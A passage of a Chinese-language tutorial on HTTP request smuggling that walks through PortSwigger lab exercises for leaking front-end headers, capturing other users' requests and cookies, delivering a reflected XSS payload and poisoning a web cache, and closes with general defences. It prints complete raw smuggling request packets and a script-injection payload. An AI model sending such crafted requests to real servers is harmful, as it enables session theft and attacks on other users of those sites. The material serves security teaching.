Cookie: session=2rOrjC16pIb7ZfURX8QlSuU1v6UMAXLA
Content-Length: 77
Transfer-Encoding: chunked
0
POST / HTTP/1.1
Content-Length: 70
Connection: close
search=123
多次請求之後就可以獲得前端伺服器新增的請求頭
這是如何獲取的呢,可以從我們構造的資料包來入手,可以看到,我們走私過去的請求為
POST / HTTP/1.1
Content-Length: 70
Connection: close
search=123
其中Content-Length
的值為70,顯然下面攜帶的資料的長度是不夠70的,因此後端伺服器在接收到這個走私的請求之後,會認為這個請求還沒傳輸完畢,繼續等待傳輸。
接著我們又繼續傳送相同的資料包,後端伺服器接收到的是前端代理伺服器已經處理好的請求,當接收的資料的總長度到達70時,後端伺服器認為這個請求已經傳輸完畢了,然後進行響應。這樣一來,後來的請求的一部分被作為了走私的請求的引數的一部分,然後從響應中表示了出來,我們就能獲取到了前端伺服器重寫的欄位。
在走私的請求上新增這個欄位,然後走私一個刪除使用者的請求就好了。
4.3 獲取其他使用者的請求
在上一個實驗中,我們通過走私一個不完整的請求來獲取前端伺服器新增的欄位,而欄位來自於我們後續傳送的請求。換句話說,我們通過請求走私獲取到了我們走私請求之後的請求。如果在我們的惡意請求之後,其他使用者也進行了請求呢?我們尋找的這個POST請求會將獲得的資料儲存並展示出來呢?這樣一來,我們可以走私一個惡意請求,將其他使用者的請求的資訊拼接到走私請求之後,並存儲到網站中,我們再檢視這些資料,就能獲取使用者的請求了。這可以用來偷取使用者的敏感資訊,比如賬號密碼等資訊。
Lab地址:https://portswigger.net/web-security/request-smuggling/exploiting/lab-capture-other-users-requests
實驗的最終目的是獲取其他使用者的Cookie用來訪問其他賬號。
我們首先去尋找一個能夠將傳入的資訊儲存到網站中的POST請求表單,很容易就能發現網站中有一個使用者評論的地方。
抓取POST請求並構造資料包
POST / HTTP/1.1
Host: ac661f531e07f12180eb2f1a009d0092.web-security-academy.net
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:56.0) Gecko/20100101 Firefox/56.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Cookie: session=oGESUVlKzuczaZSzsazFsOCQ4fdLetwa
Content-Length: 267
Transfer-Encoding: chunked
0
POST /post/comment HTTP/1.1
Host: ac661f531e07f12180eb2f1a009d0092.web-security-academy.net
Cookie: session=oGESUVlKzuczaZSzsazFsOCQ4fdLetwa
Content-Length: 400
csrf=JDqCEvQexfPihDYr08mrlMun4ZJsrpX7&postId=5&name=meng&email=email%40qq.com&website=&comment=
這樣其實就足夠了,但是有可能是實驗環境的問題,我無論怎麼等都不會獲取到其他使用者的請求,反而抓了一堆我自己的請求資訊。不過原理就是這樣,還是比較容易理解的,最重要的一點是,走私的請求是不完整的。
4.4 利用反射型XSS
我們可以使用HTTP走私請求搭配反射型XSS進行攻擊,這樣不需要與受害者進行互動,還能利用漏洞點在請求頭中的XSS漏洞。
Lab地址:https://portswigger.net/web-security/request-smuggling/exploiting/lab-deliver-reflected-xss
在實驗介紹中已經告訴了前端伺服器不支援分塊編碼,目標是執行alert(1)
首先根據UA出現的位置構造Payload
然後構造資料包
POST / HTTP/1.1
Host: ac801fd21fef85b98012b3a700820000.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 123
Transfer-Encoding: chunked
0
GET /post?postId=5 HTTP/1.1
User-Agent: "><script>alert(1)</script>#
Content-Type: application/x-www-form-urlencoded
此時在瀏覽器中訪問,就會觸發彈框
再重新發一下,等一會重新整理,可以看到這個實驗已經解決了。
4.5 進行快取投毒
一般來說,前端伺服器出於效能原因,會對後端伺服器的一些資源進行快取,如果存在HTTP請求走私漏洞,則有可能使用重定向來進行快取投毒,從而影響後續訪問的所有使用者。
Lab地址:https://portswigger.net/web-security/request-smuggling/exploiting/lab-perform-web-cache-poisoning
實驗環境中提供了漏洞利用的輔助伺服器。
需要新增兩個請求包,一個POST,攜帶要走私的請求包,另一個是正常的對JS檔案發起的GET請求。
以下面這個JS檔案為例
/resources/js/labHeader.js
編輯響應伺服器
構造POST走私資料包
POST / HTTP/1.1
Host: ac761f721e06e9c8803d12ed0061004f.web-security-academy.net
Content-Length: 129
Transfer-Encoding: chunked
0
GET /post/next?postId=3 HTTP/1.1
Host: acb11fe31e16e96b800e125a013b009f.web-security-academy.net
Content-Length: 10
123
然後構造GET資料包
GET /resources/js/labHeader.js HTTP/1.1
Host: ac761f721e06e9c8803d12ed0061004f.web-security-academy.net
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:56.0) Gecko/20100101 Firefox/56.0
Connection: close
POST請求和GET請求交替進行,多進行幾次,然後訪問js檔案,響應為快取的漏洞利用伺服器上的檔案。
訪問主頁,成功彈窗,可以知道,js檔案成功的被前端伺服器進行了快取。
5. 如何防禦
從前面的大量案例中,我們已經知道了HTTP請求走私的危害性,那麼該如何防禦呢?不針對特定的伺服器,通用的防禦措施大概有三種。
- 禁用代理伺服器與後端伺服器之間的TCP連線重用。
- 使用HTTP/2協議。
- 前後端使用相同的伺服器。
以上的措施有的不能從根本上解決問題,而且有著很多不足,就比如禁用代理伺服器和後端伺服器之間的TCP連線重用,會增大後端伺服器的壓力。使用HTTP/2在現在的網路條件下根本無法推廣使用,哪怕支援HTTP/2協議的伺服器也會相容HTTP/1.1。從本質上來說,HTTP請求走私出現的原因並不是協議設計的問題,而是不同伺服器實現的問題,個人認為最好的解決方案就是嚴格的實現RFC7230-7235中所規定的的標準,但這也是最難做到的。